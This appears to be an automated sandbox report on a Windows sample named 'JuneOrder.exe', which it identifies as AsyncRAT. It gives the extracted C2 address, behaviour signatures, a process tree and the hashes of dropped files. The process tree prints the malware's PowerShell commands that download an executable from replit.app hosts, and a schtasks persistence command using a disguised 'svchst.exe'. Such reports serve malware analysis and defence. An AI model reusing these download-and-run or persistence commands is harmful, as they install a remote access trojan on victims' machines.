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Analysis

  • max time kernel
    142s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/07/2024, 09:10

General

  • Target

    JuneOrder.exe

  • Size

    510KB

  • MD5

    2b19d65705eee546214513fb65948b2a

  • SHA1

    20b6c01b9f20047fc9f3bf9baa14b5046cbc0012

  • SHA256

    106dc2ab6da5448b983e66c7c6850533006abf9176eb6ee3d58e101b83d8d47f

  • SHA512

    183bb9331b20d2f4118820bd372e5202220e29cfea2d5ae5fedd8d1a9bfaf548a9399aa604950553948899a1d75658e64480c660ce7f83bb89cd566e1385eb72

  • SSDEEP

    6144:+ldk1cWQRNTB2/Me7eC9g1HGnKBvYfew0PjZmwvhhlJdZBuUwXtgZcJeJ:+cv0NTg/XrRnKBwfOM0dayZKeJ

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

192.228.105.2:7707

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    true

  • install_file

    svchst.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file
  • .NET Reactor proctector 2 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\JuneOrder.exe
    "C:\Users\Admin\AppData\Local\Temp\JuneOrder.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:740
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\87BE.tmp\87BF.tmp\87C0.bat C:\Users\Admin\AppData\Local\Temp\JuneOrder.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4272
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:756
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command "Invoke-WebRequest 'https://secured-order-download-businessportal.replit.app/CoinAIfdp.exe' -OutFile CoinAIfdp.exe"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4264
      • C:\Users\Admin\AppData\Local\Temp\CoinAIfdp.exe
        CoinAIfdp.exe
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3684
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchst" /tr '"C:\Users\Admin\AppData\Roaming\svchst.exe"' & exit
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4940
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /f /sc onlogon /rl highest /tn "svchst" /tr '"C:\Users\Admin\AppData\Roaming\svchst.exe"'
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:4764
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA3CD.tmp.bat""
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4140
          • C:\Windows\SysWOW64\timeout.exe
            timeout 3
            5⤵
            • System Location Discovery: System Language Discovery
            • Delays execution with timeout.exe
            PID:4812
          • C:\Users\Admin\AppData\Roaming\svchst.exe
            "C:\Users\Admin\AppData\Roaming\svchst.exe"
            5⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:3628

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    0f6a3762a04bbb03336fb66a040afb97

    SHA1

    0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

    SHA256

    36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

    SHA512

    cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

  • C:\Users\Admin\AppData\Local\Temp\87BE.tmp\87BF.tmp\87C0.bat

    Filesize

    329B

    MD5

    91f265d84f2c400c6f731982fbc1dd26

    SHA1

    6d175c5694e58dd4d0ea55e77679de57105c6b0d

    SHA256

    ded4d515b9bcfdd3221da6239dc2fac799b129712ffcc1f92722a2c508a0c173

    SHA512

    4ea36db68fa533eb1b55d365abf400c9fc6cca8968b1950da2c02fd56f72b7a031583c8c730a4003354f2b010a879e94d15b80a3595e50581c72ad25c75bb67b

  • C:\Users\Admin\AppData\Local\Temp\CoinAIfdp.exe

    Filesize

    393KB

    MD5

    1b3e4783a56a59a811cbd437c6c34a18

    SHA1

    1c3c098d76f93570c6f72a815ee1e257da9e2a7f

    SHA256

    b92d49db7714fcadcfa107dbc3a37a12fa30e4aadebd1eb1d551ccfe61f638de

    SHA512

    c7ab45b5376677ce3484b2d575304fe23a38eb1491245d899e57c6491c999704318d6f5bf5b2fa560692bf52c531c4445f999e95269a1443323fccb73ac58e38

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_umlfbgkb.eyo.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\tmpA3CD.tmp.bat

    Filesize

    150B

    MD5

    9c2b394343bd69f777401e10452bb86a

    SHA1

    1804427416eb0a345e7b10660d9e8bdd82758dac

    SHA256

    9540c28fe1e2c9293d3c2f05805c61746e57cdb87b321eed23406b4a7efd2786

    SHA512

    a1f720a25b5c8ee2d9ecc0786ef71db98f6e38374837bb1218e44a246042527b8c68fc0ad1cd39cc5fa16fbf08589f39b52b4ea803f3f5ce2e00ddbe67dd9084

  • C:\Users\Admin\AppData\Roaming\WindowsCache1289fgbfbfgsdvdh=74937962458

    Filesize

    75KB

    MD5

    834cfe4c91e1aa48057f85f67999adc8

    SHA1

    2803f3605af8f9c1f34011060b1413792e57c258

    SHA256

    7e7039d296a5e761e4e8950966a05311d8b52055e31178eaa0b22e6aec51d85f

    SHA512

    0fef2021ac2e0eced4914ad022438caf116c2e93074fd36a498229094246bd29a320ba9d1b112f6994e7ab3a268e6a95371844ba78202afd45752ce4fc0dcd1c

  • memory/756-13-0x00007FFD30600000-0x00007FFD310C1000-memory.dmp

    Filesize

    10.8MB

  • memory/756-18-0x00007FFD30600000-0x00007FFD310C1000-memory.dmp

    Filesize

    10.8MB

  • memory/756-14-0x00007FFD30600000-0x00007FFD310C1000-memory.dmp

    Filesize

    10.8MB

  • memory/756-3-0x00000168DF810000-0x00000168DF832000-memory.dmp

    Filesize

    136KB

  • memory/756-2-0x00007FFD30603000-0x00007FFD30605000-memory.dmp

    Filesize

    8KB

  • memory/3628-56-0x0000000005F30000-0x00000000064D4000-memory.dmp

    Filesize

    5.6MB

  • memory/3628-57-0x0000000005980000-0x00000000059E6000-memory.dmp

    Filesize

    408KB

  • memory/3684-35-0x0000000000650000-0x00000000006B8000-memory.dmp

    Filesize

    416KB

  • memory/3684-42-0x0000000004FE0000-0x0000000004FF3000-memory.dmp

    Filesize

    76KB

  • memory/3684-43-0x0000000005330000-0x0000000005342000-memory.dmp

    Filesize

    72KB

  • memory/3684-44-0x0000000005CE0000-0x0000000005D7C000-memory.dmp

    Filesize

    624KB